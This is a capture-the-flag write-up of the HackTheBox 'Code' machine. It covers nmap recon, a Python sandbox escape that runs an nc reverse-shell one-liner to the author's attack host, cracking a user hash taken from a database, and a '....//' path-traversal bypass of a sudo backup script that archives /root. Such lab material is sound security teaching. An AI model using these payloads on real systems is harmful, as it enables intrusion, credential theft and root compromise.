HackTheBox - Code
This a pretty straightforward machine that focuses on how to bypass pyjail as well as the ability to read a bash script.
recon
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# Nmap 7.95 scan initiated Sun Mar 30 13:24:58 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -vv -oN nmap.scan 10.10.11.62
Nmap scan report for 10.10.11.62
Host is up, received echo-reply ttl 63 (0.18s latency).
Scanned at 2025-03-30 13:25:09 EDT for 15s
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrE0z9yLzAZQKDE2qvJju5kq0jbbwNh6GfBrBu20em8SE/I4jT4FGig2hz6FHEYryAFBNCwJ0bYHr3hH9IQ7ZZNcpfYgQhi8C+QLGg+j7U4kw4rh3Z9wbQdm9tsFrUtbU92CuyZKpFsisrtc9e7271kyJElcycTWntcOk38otajZhHnLPZfqH90PM+ISA93hRpyGyrxj8phjTGlKC1O0zwvFDn8dqeaUreN7poWNIYxhJ0ppfFiCQf3rqxPS1fJ0YvKcUeNr2fb49H6Fba7FchR8OYlinjJLs1dFrx0jNNW/m3XS3l2+QTULGxM5cDrKip2XQxKfeTj4qKBCaFZUzknm27vHDW3gzct5W0lErXbnDWQcQZKjKTPu4Z/uExpJkk1rDfr3JXoMHaT4zaOV9l3s3KfrRSjOrXMJIrImtQN1l08nzh/Xg7KqnS1N46PEJ4ivVxEGFGaWrtC1MgjMZ6FtUSs/8RNDn59Pxt0HsSr6rgYkZC2LNwrgtMyiiwyas=
| 256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDiXZTkrXQPMXdU8ZTTQI45kkF2N38hyDVed+2fgp6nB3sR/mu/7K4yDqKQSDuvxiGe08r1b1STa/LZUjnFCfgg=
| 256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP8Cwf2cBH9EDSARPML82QqjkV811d+Hsjrly11/PHfu
5000/tcp open http syn-ack ttl 63 Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
| http-methods:
|_ Supported Methods: GET OPTIONS HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 30 13:25:24 2025 -- 1 IP address (1 host up) scanned in 26.33 seconds
So only two ports are open.
port 5000
On accessing this page we get a python interpreter This is most likely a Pyjail case but I tried to dns and subdomain enumeration just in case, but as expected nothing interesting.
Initial foothold
Escaping the pyjail
I tried multiple reverse shell codes to get an access on the machine but I get back Use of restricted keywords is not allowed.
\
So, how to espace it? I stumbled across this post explaining how to weaponaize the __subclasses__
function to traverse the python class hierarchy in order to access other modules.
after trying different things I came up with this
1
().__class__.__base__.__subclasses__()[317](["/bin/bash", "-c", "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.55 4444 >/tmp/f"])
Index 317 is referencing to subprocess.Popen
, which allows spawning system processes.
after trying this we get a shell as app-production
and the user flag is right there.
Getting shell as martin
I noticed that there was another user martin
but I cannot access it with the app-production
privileges. So I started to explore the files under the app
directory and I found a file called database.db
. I downloaded it on my host machine and opened it using sqlite3
and got a hash for
martin
. went to crackstation and I got the martin password.
SSH into the machine using martin password
PrivEsc
I got in and there was a directory called backups
which got some compressed files and a task.json
. I viewed this file
1
2
3
4
5
6
7
8
9
10
11
12
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/app-production/app"
],
"exclude": [
".*"
]
}
I started to think that might be a script that compress these files, so I tried sudo -l
and indeed there was a script that I can run as root.
examining backy.sh
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/bin/bash
if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi
json_file="$1"
if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi
allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}
for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done
/usr/bin/backy "$json_file"
So this explains why there is some archives in backups
directory. if we can manage to get the script to archive the directories under /root
we will be able to read the root flag.
But it only accept archiving from /var
and /home
AND escaping ../
to prevent directory traversal.
I tried to write this to task.json and it worked!
1
2
3
4
5
6
7
8
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": true,
"directories_to_archive": [
"/var/....//root/"
]
}
I added extra ../
to bypass the check of directory traversal and used /var
approach to bypass the check for /var
or /home
path unzip the
code_var_.._root_2025_March.tar.bz2
file and read the root.txt
Additionally, I could have read the
.ssh/id_rsa
to SSH as root.